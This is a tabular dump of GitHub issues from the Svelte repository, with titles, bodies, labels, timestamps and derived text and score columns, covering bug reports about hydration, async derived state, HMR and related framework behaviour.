    Node: 25.6.0 - ~/.local/share/mise/in... [TRUNCATED]",,2026-02-13 15:45:43+00:00,2026-02-14 12:41:04+00:00,1,nan,0.8718,error svelte not triggered correctly when navigating leaving the app broken describe the bug for sveltekit error svelte doesn t seem to be working right an error that happens during route setup is acting very differently depending on whether you load the page on that route or whether you click to that route from a different page in my repro linked below if you directly open then you get an error page as expected however if you click to that route from home then the error gets just logged to the console and after that the whole app is dead navigation to other links doesn t work anymore this is the case both for a regular error throw or the sveltekit error with a statuscode a javascript error after setup that bubbles up to the top never triggers error svelte also not if you throw the sveltekit error server error this can be done using the buttons in my repro repository it just becomes a log in the browser s console but at least the rest of the app keeps on working maybe this should be added to the documentation that error doesn t apply to this reproduction here s a small reproduction repository logs system info shell system os linux ubuntu lts lts noble numbat cpu x amd ryzen hx with radeon graphics memory gb gb container yes shell bin bash binaries node local share mise in truncated,bug,-0.7814
sveltejs/svelte,3937559021,Uncaught TypeError: Cannot read properties of undefined (reading 'delete') on page change since Svelte 5.50.3,"### Describe the bug

Since updating to Svelte version 5.50.3, I am encountering the following error on every page change:
`Uncaught TypeError: Cannot read properties of undefined (reading 'delete')`.

The error is thrown in:
`// node_modules/.pnpm/svelte@5.50.3/node_modules/svelte/src/internal/client/dom/elements/bindings/size.js` inside the class `ResizeObserverSingleton` inside the following function:

```js
observe(element2, listener) {
  var listeners = this.#listeners.get(element2) || /* @__PURE__ */ new Set();
  listeners.add(listener);
  this.#listeners.set(element2, listeners);
  this.#getObserver().observe(element2, this.#options);
  return () => {
    var listeners2 = this.#listeners.get(element2);
    listeners2.delete(listener); // <- ERROR
    if (listeners2.size === 0) {
      this.#listeners.delete(element2);
      this.#observer.unobserve(element2);
    }
  };
}
```

### Reproduction

I’m struggling to create a reproduction, but I’ll try over the weekend. For now, here’s a description of what’s happening:

- I have a login page that performs a sign-in via a remote function and then redirects to another page
- The dashboard immediately throws the error.
- It feels like the usage of `bind:clientWidth` and/or `bind:clientHeight` might somehow be related to it.

### Logs

```shell
Uncaught TypeError: Cannot read properties of undefined (reading 'delete')
    at chunk-QPHSKAB4.js?v=9506227f:3150:18
    at execute_effect_teardown (chunk-4Q2Y5S3O.js?v=9506227f:3108:... [TRUNCATED]",awaiting submitter,2026-02-13 14:51:02+00:00,2026-02-19 05:05:29+00:00,1,awaiting submitter,5.5934,uncaught typeerror cannot read properties of undefined reading delete on page change since svelte describe the bug since updating to svelte version i am encountering the following error on every page change the error is thrown in inside the class inside the following function reproduction i m struggling to create a reproduction but i ll try over the weekend for now here s a description of what s happening i have a login page that performs a sign in via a remote function and then redirects to another page the dashboard immediately throws the error it feels like the usage of and or might somehow be related to it logs shell uncaught typeerror cannot read properties of undefined reading delete at chunk qphskab js v f at execute effect teardown chunk q y s o js v f truncated,bug,-0.7269
sveltejs/svelte,3935315873,Unmounting can break event handling,"### Describe the bug

In the `mount` function, if you pass the same `target` twice, it could cause event handling to completely break. An example of this is portals. If your app is mounted under `body` and a portal is also mounted under `body`, you can have `mount` called with the same `target` twice.

### Reproduction

https://svelte.dev/playground/948e793ddfe443f68548b22cec26789a?version=5.50.3

- Right-click the button. The context menu is shown correctly.
- Click the button to show the dialog, then click anywhere to close it, unmounting the portal.
- Right-clicking the button no longer works.

For some odd reason, this behavior can only be observed when a `contextmenu` event handler is added to the trigger using Svelte's `on` utility, causing the `oncontextmenu` handler internal to bits-ui to never receive the `contextmenu` event.

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.2
    CPU: (10) arm64 Apple M4
    Memory: 79.09 MB / 16.00 GB
    Shell: 4.4.0 - /opt/homebrew/bin/fish
  Binaries:
    Node: 24.13.0 - /Users/abdel/.local/share/mise/installs/node/24.13.0/bin/node
    npm: 11.6.2 - /Users/abdel/.local/share/mise/installs/node/24.13.0/bin/npm
    pnpm: 10.29.2 - /Users/abdel/.local/share/mise/installs/pnpm/10.29.2/pnpm
  Browsers:
    Firefox: 147.0.3
    Safari: 26.2
```

### Severity

annoyance",,2026-02-13 04:43:22+00:00,2026-02-13 16:23:49+00:00,2,nan,0.4864,unmounting can break event handling describe the bug in the function if you pass the same twice it could cause event handling to completely break an example of this is portals if your app is mounted under and a portal is also mounted under you can have called with the same twice reproduction right click the button the context menu is shown correctly click the button to show the dialog then click anywhere to close it unmounting the portal right clicking the button no longer works for some odd reason this behavior can only be observed when a event handler is added to the trigger using svelte s utility causing the handler internal to bits ui to never receive the event logs system info severity annoyance,others,-0.8316
sveltejs/svelte,3930751210,False negative for `state_referenced_locally` warning on not destructured `$props` access?,"### Describe the bug

I was looking for a workaround for #17669 and thought of not destructuring the `$props` directly; to my surprise there were no warnings at all.


### Reproduction

```js
const props = $props();
const { model } = props; // missing warning

const value = props.model.value; // missing warning
```

[Playground](https://svelte.dev/playground/untitled?version=5.50.2#H4sIAAAAAAAACn2QT4vCQAzFv0oIe1CQ9l51YY97lj1tPYxtXAam6TAT_1H63U0HUax1j3nvJeT3OmTTEBb4w2LFUY0L3FtHEYvfDuXiB28QVL8lv7zP4pGcDNrORJrSq5aFWPQMrmIVrJfPkktROQp00LQ1OehhDR8-tD7O5ku174GjcQdSM8WyNC0hz4HOniqhGk4msOW_klf54zrPNkTwzVUbgsZuz8z1G6GzYCHhQP3iDdV47Zltwv2XMEGN6Cbgk5vIGhujAj3AXstI4WxcycvivZFn7q1OxrqT5RqLvXGR-itXywVk_AEAAA)

### Logs

```shell

```

### System Info

```shell
REPL - Svelte v.5.50.2
```

### Severity

annoyance",,2026-02-12 09:23:23+00:00,2026-02-15 10:00:51+00:00,0,nan,3.026,false negative for warning on not destructured access describe the bug i was looking for a workaround for and thought of not destructuring the directly to my surprise there were no warnings at all reproduction playground logs system info severity annoyance,others,-0.9136
sveltejs/svelte,3928734857,Components that throw during mount doesn't remount after HMR,"### Describe the bug

If a component throws while being mounted, that would normally be fine because the developer could fix the code and Svelte would remount the component using HMR. But now, even without having async enabled, HMR fails to remount the component. I've bisected this down to #15844. And found a potential fix which I've made a PR for.

### Reproduction

The following reproductions are the same except for the version of Svelte and have a line of code that can be toggled on or off to have the component throw when it mounts.

latest (5.50.1): https://www.sveltelab.dev/32149g118o5egv7
pre-async (5.35.7): https://www.sveltelab.dev/3032460y2gelaoq

Reproduction steps:
1. Mount a component that has been compiled using the `hmr` compiler option.
2. Hot reload the component but have the component throw an exception on mount.
3. Hot reload the component but without an exception during mount.

(this excludes the playground since it doesn't use `hmr: true`)

### Logs

```shell

```

### System Info

```shell
n/a
```

### Severity

annoyance",,2026-02-11 21:18:39+00:00,2026-03-12 11:22:44+00:00,0,nan,28.5862,components that throw during mount doesn t remount after hmr describe the bug if a component throws while being mounted that would normally be fine because the developer could fix the code and svelte would remount the component using hmr but now even without having async enabled hmr fails to remount the component i ve bisected this down to and found a potential fix which i ve made a pr for reproduction the following reproductions are the same except for the version of svelte and have a line of code that can be toggled on or off to have the component throw when it mounts latest pre async reproduction steps mount a component that has been compiled using the compiler option hot reload the component but have the component throw an exception on mount hot reload the component but without an exception during mount this excludes the playground since it doesn t use logs system info severity annoyance,others,-0.5023
sveltejs/svelte,3928167822,Await block doesn't update if fulfilled immediately,"### Describe the bug

With Svelte 5, The `{#await promise}` block does not switch the content if the variable `promise` is resolved or rejected in the same cycle, like `promise = Promise.resolve()`. It works with Svelte 4

It works if you assign a new promise that is fulfilled over:

- `setTimeout()`
- `requestAnimationFrame()`
- `fetch()`
- `tick()` (Svelte)

But:

- `Promise.resolve()`
- [`queueMicrotask()`](https://developer.mozilla.org/en-US/docs/Web/API/HTML_DOM_API/Microtask_guide)

Assigning a new fulfilled promise instance is useful when it withdraws data from cache: `p = cache ? Promise.resolve(cache) : fetch(...)`

### Reproduction

```svelte
<script>
	let p = null;
</script>

<button on:click={()=>{
	p = new Promise((resolve, reject) => {
		resolve(); // not works
	});
}}>Resolve (immediate)</button>
<button on:click={()=>{
	p = new Promise((resolve, reject) => {
		setTimeout(() => resolve(), 1); // works
	});
}}>Resolve (timeout)</button>

<p>
	{#await p}
		...
	{:then v}
		resolved [{v}]
	{:catch err}
		err [{err}]
	{/await}
</p>
```

Playground:

- v5: https://svelte.dev/playground/5cdcb94abcca4206945455bdd73a8d01?version=5.50.1
- v4: https://svelte.dev/playground/5cdcb94abcca4206945455bdd73a8d01?version=4.2.20

### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

blocking an upgrade",,2026-02-11 19:03:47+00:00,2026-02-22 13:47:29+00:00,2,nan,10.7803,await block doesn t update if fulfilled immediately describe the bug with svelte the block does not switch the content if the variable is resolved or rejected in the same cycle like it works with svelte it works if you assign a new promise that is fulfilled over svelte but assigning a new fulfilled promise instance is useful when it withdraws data from cache reproduction playground v v logs system info severity blocking an upgrade,others,0.7783
sveltejs/svelte,3951958069,Async derived causes `<title>` to not be updated,"### Describe the bug

If I use an async derived, the title in the head element doesn't get updated.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-lpchlpus?file=src%2Froutes%2Fabout%2F%5Bid%5D%2F%2Bpage.svelte

1. Observe the current page title
2. Navigate to the about page
3. Observe that it doesn't change

### Logs

```Shell

```

### System Info

```Shell
System:
    OS: Linux 5.0 undefined
    CPU: (8) x64 Intel(R) Core(TM) i9-9880H CPU @ 2.30GHz
    Memory: 0 Bytes / 0 Bytes
    Shell: 1.0 - /bin/jsh
  Binaries:
    Node: 20.19.1 - /usr/local/bin/node
    Yarn: 1.22.19 - /usr/local/bin/yarn
    npm: 10.8.2 - /usr/local/bin/npm
    pnpm: 8.15.6 - /usr/local/bin/pnpm
  npmPackages:
    @sveltejs/adapter-auto: ^7.0.0 => 7.0.0 
    @sveltejs/kit: ^2.48.5 => 2.50.2 
    @sveltejs/vite-plugin-svelte: ^6.2.1 => 6.2.4 
    svelte: ^5.43.8 => 5.50.0 
    vite: ^7.2.2 => 7.3.1
```

### Severity

annoyance

### Additional Information

Workaround is to not use an async derived and to call the remote function directly.",,2026-02-10 15:27:56+00:00,2026-02-18 21:20:08+00:00,2,nan,8.2446,async derived causes to not be updated describe the bug if i use an async derived the title in the head element doesn t get updated reproduction observe the current page title navigate to the about page observe that it doesn t change logs system info severity annoyance additional information workaround is to not use an async derived and to call the remote function directly,others,-0.6486
sveltejs/svelte,3914110739,"docs: clarify `$derived` `await` examples, dependency tracking","### Describe the problem

## 1

> An exception is that independent `$derived` expressions will update independently, even though they will run sequentially when they are first created:

```js
// these will run sequentially the first time,
// but will update independently
let a = $derived(await one());
let b = $derived(await two());
```

### 1-1

'run sequentially' is confusing.

For example, the promises can be created sequentially, but `b` can resolve first. The truth is:

> ...the second `$derived` will not be created until the first one has resolved.

Why not be specific like the quote in [`await_waterfall` docs](https://svelte.dev/docs/svelte/runtime-warnings#Client-warnings-await_waterfall)?

Clarification is needed because `$derived` isn't vanilla JavaScript.

```js
// this is intuitive. `two` is called after `one` is resolved.
await one();
await two();

// this is not intuitive
$derived(await one());
$derived(await two());
```

### 1-2

'update independently' is confusing.

Can `one` and `two` rerun? They don't have any dependencies.

```js
$derived(await one());
$derived(await two());
```

Example from query remote function seems better:

```js
let a = $derived(await one());
const post = $derived(await getPost(params.slug)); // params.slug is the dependency
```

## 2

> Anything read synchronously inside the `$derived` expression (or `$derived.by` function body) is considered a _dependency_ of the derived state.

Claude is complaining that `params.slug` is not read sy... [TRUNCATED]",documentation,2026-02-09 02:15:04+00:00,2026-03-22 18:29:12+00:00,1,documentation,41.6765,docs clarify examples dependency tracking describe the problem an exception is that independent expressions will update independently even though they will run sequentially when they are first created run sequentially is confusing for example the promises can be created sequentially but can resolve first the truth is the second will not be created until the first one has resolved why not be specific like the quote in docs clarification is needed because isn t vanilla javascript update independently is confusing can and rerun they don t have any dependencies example from query remote function seems better anything read synchronously inside the expression or function body is considered a dependency of the derived state claude is complaining that is not read sy truncated,documentation,0.8353
sveltejs/svelte,3913026116,The current rendering/hydration implementation leads to an early `Maximum call stack size exceeded`,"### Describe the bug

I’m encountering a `Maximum call stack size exceeded` error at a relatively shallow component nesting depth.  

The issue became worse starting with `svelte@5.41.1`; before that, it only resulted in a hydration warning.


### Reproduction

[Playground](https://svelte.dev/playground/hello-world?version=5.50.0#H4sIAAAAAAAAA53S32qDMBQG8FcJZ4O24Cpa-09U2M3YO8xduHqEQJoEc9ZuBN99BBtay3LT24_fF77AsSCbI0IO7yiEYmfVi5bNseWE7QIi6LhAA_mHBfrVzrkAIt961XppTijIZV-Nwf_yg5KEkgzkUJhDzzVVtayJH7Xqib0pxbpeHdlsGXdKXWqzWhbxFcvCMYEnFKXN0oHFVS0hAsIfgpz6bxyiwMTrm9OJk_zBic4clDTE7DiODaxkz7pX2swXd1-wT7y7qLIsWTK4dqGrpIh1VUubozDIJib1Jg2blTersMm8ycJm7c06bDbebMJm6802bHbe7MJm783-1ozhzTGMhZdkPAkb8264v4zPCKjh4sxlC3nXuFf-AKM9fd33AgAA) (42)
[Solid](https://playground.solidjs.com/anonymous/7a4c474e-d042-466e-bafc-193165c6289e) (600+)
[Vue](https://play.vuejs.org/#eNqdlMtOwzAQRX/F8gqktlHfD6WVABUJFlABS29KOi0pjm3ZTqhU5d8Z2/SpqkjZZWbusa9nHG/pnVKNIgc6orFJdKosMWBzNWEizZTUljxKSZZaZoTRRoSBUzPKRBwFPSoxsJApPreAESGxY0YcCuBjRnu9PqMkwkocHclojVqTSLFMV421kQIdbB3MaCIzlXLQr8qmUhhGR8RXXG3Oufx59jmrc6jt8skXJN8X8muzcTlGZxoM6AKt72t2rldgQ3n6/gIb/N4XM7nIOaqvFN/ASJ47j0F2n4sF2j7SebdPvo+pWH2Y6caCMLtDOaNOWXo9o9jYhytHP9htNzqeY6LELv7N5HyChM/FCttvcZX/p8nEApapgJmWysR+Tz+/ERF59omHEuXk5vb61HcRKerpEnf2C5DxeEyaaCFWk2YcqcnJJTilgBs4R1sBbVVA2wFtV0A7Ae1UQLsB7VZAewHtVUDxF3NovwI6COigAjoM6PAS6m5aoA5PQSDr7j5ceBDKX49Bfco=) (600+)
[Real world component](https://github.com/x0k/svelte-jsonschema-form/blob/c651408a5c3a56649b13288c7e21251661c089... [TRUNCATED]",,2026-02-08 16:16:08+00:00,2026-02-10 14:45:36+00:00,0,nan,1.9371,the current rendering hydration implementation leads to an early describe the bug i m encountering a error at a relatively shallow component nesting depth the issue became worse starting with before that it only resulted in a hydration warning reproduction playground solid vue real world component truncated,others,-0.872
sveltejs/svelte,3912768217,Vite dev/build fails when dependency using type-only features,"### Describe the bug

When starting the dev server, I get the following error:
```
✘ [ERROR] Expected ""{"" but found ""<""

    node_modules/svelte-tiler/dist/tiles/tabs.svelte:104:48:
      104 │   class TabsTileDropTarget extends TileDropTarget<Tiles['tabs']> {
          │                                                  ^
          ╵                                                  {

Error: Build failed with 1 error:
node_modules/svelte-tiler/dist/tiles/tabs.svelte:104:48: ERROR: Expected ""{"" but found ""<""
    at failureErrorWithLog (/home/qo5ip4we0aj4vrkeetv8swp3pbyxe1-fmt4/node_modules/esbuild/lib/main.js:1457:15)
    at eval (/home/qo5ip4we0aj4vrkeetv8swp3pbyxe1-fmt4/node_modules/esbuild/lib/main.js:916:25)
    at eval (/home/qo5ip4we0aj4vrkeetv8swp3pbyxe1-fmt4/node_modules/esbuild/lib/main.js:1335:9) {
  errors: [Getter/Setter],
  warnings: [Getter/Setter]
}
```

### Reproduction

[SvelteLab](https://www.sveltelab.dev/?files=.%2Fsrc%2Froutes%2F%2Bpage.svelte#code=N4IgDghgxg1hDmBTAdAKwM4HsB2IBcoAZgJYA2i%2BoUOALotjepSDMdgCb4joBuipdUhABGAWgCuxABwQQAGhDDxhQogBO%2BANoBGAEwBmOdoAMcgJxz9AFiMnzAdiPGLJ7ZZsBWKZd3vz3s0dtbQ8nULMLazkrGztI2O1vV1sE0JM04NtTKK8fPytvKwA2aMKSq3jo2NNK4N9g6oyAoO0S5JzvfXrWlNsg4zcYp3M-YPCXbUbbbraQv1yuowNhi1rjU2Tgzs9O3yitsNs2gbyTDZODqKG4kaizJO1%2BtOMk9fnd0cTD4OO3Rfu%2Bt8Xk5sjZrjVbglutU3Ad0k5YdpKgs9glXhlfqc9L1Nl94bjKuCRmt0Vkju88vtsQ0EeSfkDETZFlZQizzC5jDD2U5HMySldqsTRsZuoynKsWvydpSoTiLj16fj5UzfGy2cEJlNFSc%2BcKRnpWYK1udEd4iq9EfV5ecTWSIgzbKEOqdljdKkVUrYLU4HpiTLNWY5... [TRUNCATED]",,2026-02-08 13:49:51+00:00,2026-03-29 05:00:04+00:00,2,nan,48.6321,vite dev build fails when dependency using type only features describe the bug when starting the dev server i get the following error reproduction sveltelab truncated,feature,-0.8316
sveltejs/svelte,3907514373,Better scoping for `{@const ...}`,"### Describe the problem

I understand that `{@const ...}` is treated as part of the implicit `children` for a block. However, the behaviour feels confusing and it seems like an arbitrary limitation. Consider the following:

```svelte
<NameTag>
  {@const [ firstName, lastName ] = [""Jim"", ""Jeffries""]}

  {#snippet label()}
    Hello, my name is {firstName}
  {/snippet}

  <NameTagDetails fullName={{ firstName, lastName }} />
</NameTag>
```

This _feels_ like it should be fine because, with implicit children, the variables _seem like_ they are scoped to the component block. It's also a refactoring hazard because starting out with `children()` and then later expanding props to include other snippets means you need to move the variable declarations to the `<script>` tag.

### Describe the proposed solution

Currenty, this:

```svelte
<Component>
  {@const greetee = ""World""}
  <h1>Hello {greetee}</h1>
</Component>
```

Becomes this:

```javascript
Component($$anchor, {
	children: ($$anchor, $$slotProps) => {
		const greetee = $.derived_safe_equal(() => ""World"");
		var h1 = root_1();

		h1.textContent = `Hello ${$.get(greetee) ?? ''}`;
		$.append($$anchor, h1);
	},
	$$slots: { default: true }
});
```

Maybe it could become this?

```javascript
{ // Separate block scope
	const declared_const_greetee = $.derived_safe_equal(() => ""World"");

	Component($$anchor, {
		children: ($$anchor, $$slotProps) => {
			var h1 = root_1();

			h1.textContent = `Hello ${$.get(declared_const_greetee) ... [TRUNCATED]",,2026-02-06 16:30:59+00:00,2026-02-06 16:59:30+00:00,3,nan,0.0198,better scoping for describe the problem i understand that is treated as part of the implicit for a block however the behaviour feels confusing and it seems like an arbitrary limitation consider the following this feels like it should be fine because with implicit children the variables seem like they are scoped to the component block it s also a refactoring hazard because starting out with and then later expanding props to include other snippets means you need to move the variable declarations to the tag describe the proposed solution currenty this becomes this maybe it could become this javascript separate block scope const declared const greetee derived safe equal world component anchor children anchor slotprops var h root h textcontent hello get declared const greetee truncated,others,0.2263
sveltejs/svelte,3902625736,[Medium] Race Condition in svelte,"## Bug Report

**Type**: Race Condition
**Severity**: Medium
**File**: src/svelte.js:189

### Description
并发访问共享变量时缺乏适当的同步机制。

### Impact
可能导致数据不一致。

### Proposed Fix
使用适当的并发控制。

---
Automated Bug Report - 2026-02-05 17:07:10
Bug Bounty Request
",,2026-02-05 17:07:11+00:00,2026-02-05 18:03:47+00:00,1,nan,0.0393,medium race condition in svelte bug report type race condition severity medium file src svelte js description impact proposed fix automated bug report bug bounty request,others,-0.7579
sveltejs/svelte,3902625563,[High] Memory Leak in svelte,"## Bug Report

**Type**: Memory Leak
**Severity**: High
**File**: src/svelte.ts:234

### Description
发现资源连接未正确关闭，可能导致内存泄漏。

### Impact
- 长期运行内存占用持续增长
- 可能导致服务崩溃

### Proposed Fix
使用try-finally确保资源释放。

---
Automated Bug Report - 2026-02-05 17:07:08
Bug Bounty Request
",,2026-02-05 17:07:08+00:00,2026-02-05 18:03:03+00:00,1,nan,0.0388,high memory leak in svelte bug report type memory leak severity high file src svelte ts description impact proposed fix try finally automated bug report bug bounty request,others,-0.8834
sveltejs/svelte,3901970174,#key does not work with NaN,"### Describe the bug

NaN cannot be used as value for #key blocks. The block will just not show up.

I saw this statement: https://github.com/sveltejs/svelte/issues/10061#issuecomment-2035842911. However, this behavior should at least be documented to prevent others from wasting time.


### Reproduction

```javascript
{#key undefined}
	undefined
{/key}

{#key null}
	null
{/key}

{#key NaN}
	NaN
{/key}

{#key false}
	false
{/key}
```

Output: undefined null false

### Logs

```shell

```

### System Info

```shell
svelte 5.49.2

same behavior in firefox and chrome
```

### Severity

annoyance",documentation,2026-02-05 14:50:19+00:00,2026-02-06 16:57:51+00:00,1,documentation,1.0886,key does not work with nan describe the bug nan cannot be used as value for key blocks the block will just not show up i saw this statement however this behavior should at least be documented to prevent others from wasting time reproduction output undefined null false logs system info severity annoyance,documentation,-0.8519
sveltejs/svelte,3900529756,`Cannot read properties of null (reading 'f')` introduced in v5.48.0,"### Describe the bug

This error started popping up after we upgraded Svelte from v5.47.1 to v5.48.0, and it is still present in the latest version v5.49.2

Here's the error logged in the console: 

```
Uncaught TypeError: Cannot read properties of null (reading 'f')
    at handle_error (error-handling.js:20:27)
    at update_reaction (runtime.js:342:10)
    at update_effect (runtime.js:454:18)
    at flush_queued_effects (batch.js:696:4)
    at _Batch.process (batch.js:227:4)
    at flush_effects (batch.js:640:10)
    at _Batch.flush (batch.js:355:4)
    at Array.<anonymous> (batch.js:528:12)
    at run_all (utils.js:46:8)
    at run_micro_tasks (task.js:10:2)
```

And here's a public link to one of our Sentry alerts, with a more thorough stack trace of the code that caused the error: https://kvist.sentry.io/share/issue/ce1baf62f21c4928bdf9331ceae87721/

### Reproduction

I still haven't managed to create a minimal repro, as i am not that familiar with the internal setup of Svelte's update-cycle, so creating a minimal reproduction would take quite some time. I hope that the information is sufficient enough, and if it isn't, then let me know and i'll try my best to help.

It seems to me like error is thrown because of this `(active_reaction).f` accessor in the `handle_error` method

```ts
// for unowned deriveds, don't throw until we read the value
if (effect === null) {
	/** @type {Derived} */ (active_reaction).f |= ERROR_VALUE;
	return error;
}
```

### Logs

```shell

```
... [TRUNCATED]",awaiting submitter,2026-02-05 09:18:11+00:00,2026-05-19 11:42:59+00:00,8,awaiting submitter,103.1006,introduced in v describe the bug this error started popping up after we upgraded svelte from v to v and it is still present in the latest version v here s the error logged in the console and here s a public link to one of our sentry alerts with a more thorough stack trace of the code that caused the error reproduction i still haven t managed to create a minimal repro as i am not that familiar with the internal setup of svelte s update cycle so creating a would take quite some time i hope that the information is sufficient enough and if it isn t then let me know and i ll try my best to help it seems to me like error is thrown because of this accessor in the method logs truncated,others,-0.1205
sveltejs/svelte,3899448414,hydration mismatch with async and nested if,"### Describe the bug

Using a nested `{#if}{/if}` on an async component while having the experimental async feature enabled, breaks hydration when using SSR.

It seems like it fails to find the hydration markers, using whatever else it finds instead.

### Reproduction

https://github.com/santiagocezar/hydration-troubles-repro

It seems to be a regression in 5.49.2. Plus, I checked if PR #17611 fixed it by chance but had no luck there, sadly.

There's three variants!
- The sync one is the boring one that just works
- The async-only one causes a hydration mismatch (but the error log doesn't give much details as to why)
- The async+onclick one causes a completely different error! (it grabs a text node for some reason)

### Logs

```shell
# on the Async-only variation
[svelte] hydration_mismatch
Hydration failed because the initial UI does not match what was rendered on the server
https://svelte.dev/e/hydration_mismatch
Uncaught (in promise) Object {  }

# on the Async+onclick one
Uncaught (in promise) DOMException: Node.appendChild: Cannot add children to a Text
```

### System Info

```shell
System:
    OS: Linux 6.18 cpe:/o:nixos:nixos:26.05 26.05 (Yarara)
    CPU: (16) x64 AMD Ryzen 7 7730U with Radeon Graphics
    Memory: 4.65 GB / 14.98 GB
    Container: Yes
    Shell: 0.109.1 - /run/current-system/sw/bin/nu
  Binaries:
    Node: 24.13.0 - /run/current-system/sw/bin/node
    npm: 11.6.2 - /run/current-system/sw/bin/npm
    pnpm: 10.28.0 - /run/current-system/sw/bin/pnpm
   ... [TRUNCATED]",,2026-02-05 03:48:58+00:00,2026-02-06 15:54:17+00:00,0,nan,1.5037,hydration mismatch with async and nested if describe the bug using a nested on an async component while having the experimental async feature enabled breaks hydration when using ssr it seems like it fails to find the hydration markers using whatever else it finds instead reproduction it seems to be a regression in plus i checked if pr fixed it by chance but had no luck there sadly there s three variants the sync one is the boring one that just works the async only one causes a hydration mismatch but the error log doesn t give much details as to why the async onclick one causes a completely different error it grabs a text node for some reason logs system info shell system os linux cpe o nixos nixos yarara cpu x amd ryzen u with radeon graphics memory gb gb container yes shell run current system sw bin nu binaries node run current system sw bin node npm run current system sw bin npm pnpm run current system sw bin pnpm truncated,others,-0.8898
sveltejs/svelte,3898773635,Anomaly when spreading element properties,"### Describe the bug

Spreading properties doesn't seem to work if one of them is called 'one' (that one is always missing from the element).

### Reproduction

https://svelte.dev/playground/6309de9f929041f295833c2c22a6c9cc?version=latest

Inspect element with browser dev-tools.

<img width=""422"" height=""87"" alt=""Image"" src=""https://github.com/user-attachments/assets/7d798cc2-8780-4188-b4ff-0f9d5b5864b6"" />

### Logs

```shell

```

### System Info

```shell
Svelte Playground
```

### Severity

annoyance",,2026-02-04 22:55:49+00:00,2026-02-04 23:32:47+00:00,2,nan,0.0257,anomaly when spreading element properties describe the bug spreading properties doesn t seem to work if one of them is called one that one is always missing from the element reproduction inspect element with browser dev tools logs system info severity annoyance,others,-0.7579
sveltejs/svelte,3890070674,Hydration mismatch and TypeError when combining `$derived(await ...)` with `{@attach}` from `bind:this`,"### Describe the bug

**TL;DR**: Using experimental async (`$derived(await ...)`) in a component that also uses `{@attach}` with a function from `bind:this` breaks SSR hydration. In development, this causes a warning. In production build with nested components, the application crashes completely and the page fails to render.

The issue appears to be that the async boundary interacts incorrectly with the `{@attach}` directive during hydration. When the component contains `$derived(await ...)`, the hydration process seems to lose track of the attachment state, causing a mismatch between server-rendered HTML and client-side component tree. With nested `{@render children?.()}` calls, this mismatch escalates into a fatal TypeError that prevents the component from mounting.

## Conditions to reproduce
All of the following must be present:

1. Experimental async enabled in `svelte.config.js`:
`compilerOptions: { experimental: { async: true } }`

2. `$derived(await ...)` in the component (even if the value is not used in markup)

3. `{@attach ref?.action}` where:
- `ref` is obtained via `bind:this` from another component
- The function is exported from that component

4. SSR enabled (default in SvelteKit)

5. Nested components with `{@render children?.()}` — for TypeError to occur, at least two levels of nesting required

## Behavior

| Environment | Single nesting             | Double nesting                                 |
|-------------|----------------------------|-------------... [TRUNCATED]",,2026-02-03 09:01:21+00:00,2026-02-06 09:19:17+00:00,0,nan,3.0125,hydration mismatch and typeerror when combining with from describe the bug tl dr using experimental async in a component that also uses with a function from breaks ssr hydration in development this causes a warning in production build with nested components the application crashes completely and the page fails to render the issue appears to be that the async boundary interacts incorrectly with the directive during hydration when the component contains the hydration process seems to lose track of the attachment state causing a mismatch between server rendered html and client side component tree with nested calls this mismatch escalates into a fatal typeerror that prevents the component from mounting conditions to reproduce all of the following must be present experimental async enabled in in the component even if the value is not used in markup where is obtained via from another component the function is exported from that component ssr enabled default in sveltekit nested components with for typeerror to occur at least two levels of nesting required behavior environment single nesting double nesting truncated,bug,-0.8591
sveltejs/svelte,3890062697,Add Hostinger deployment guide to documentation,"### Describe the problem

Svelte developers who are price-sensitive or building smaller-scale applications lack a documented deployment option that fits their needs.

Currently, developers in these situations must choose between:
- Expensive managed static hosting platforms ($20-50+/mo)
- Complex self-hosting requiring server configuration knowledge
- Free tiers with limitations (build minutes, bandwidth caps)
- Serverless platforms with cold starts (negating SvelteKit's SSR benefits)

This creates barriers for:
- Students learning Svelte on limited budgets
- Developers running personal sites or portfolios
- Side projects that need professional hosting features
- Small client projects with tight budget constraints
- International developers where $20-50/mo is a significant cost

While Svelte/SvelteKit can be deployed anywhere Node.js runs, there's no documented option for affordable managed hosting ($3-10/mo range) that provides professional features (SSL, CDN, automatic deployments) without requiring DevOps expertise.

### Describe the proposed solution

Add deployment documentation for Hostinger - an affordable managed hosting platform starting at $2.99/mo.

**What this provides:**

**Affordable managed hosting:**
- Entry-level pricing ($2.99-6.99/mo) vs $20-50+/mo alternatives
- No usage-based billing or build minute limits
- Includes SSL, CDN, domain, and email
- Makes production Svelte deployment accessible to broader audience

**Works for both Svelte and SvelteKit:**

*... [TRUNCATED]",,2026-02-03 08:59:43+00:00,2026-02-03 11:03:15+00:00,1,nan,0.0858,add hostinger deployment guide to documentation describe the problem svelte developers who are price sensitive or building smaller scale applications lack a documented deployment option that fits their needs currently developers in these situations must choose between expensive managed static hosting platforms mo complex self hosting requiring server configuration knowledge free tiers with limitations build minutes bandwidth caps serverless platforms with cold starts negating sveltekit s ssr benefits this creates barriers for students learning svelte on limited budgets developers running personal sites or portfolios side projects that need professional hosting features small client projects with tight budget constraints international developers where mo is a significant cost while svelte sveltekit can be deployed anywhere node js runs there s no documented option for affordable managed hosting mo range that provides professional features ssl cdn automatic deployments without requiring devops expertise describe the proposed solution add deployment documentation for hostinger an affordable managed hosting platform starting at mo what this provides affordable managed hosting entry level pricing mo vs mo alternatives no usage based billing or build minute limits includes ssl cdn domain and email makes production svelte deployment accessible to broader audience works for both svelte and sveltekit truncated,documentation,0.2675
sveltejs/svelte,3875981272,Async derived in child re-evaluates with `undefined` props on unmount when parent has async derived,"### Describe the bug

The bug ONLY occurs when the parent component has an async derived (`$derived(await ...)`). Without it, the child unmounts cleanly.

### Reproduction

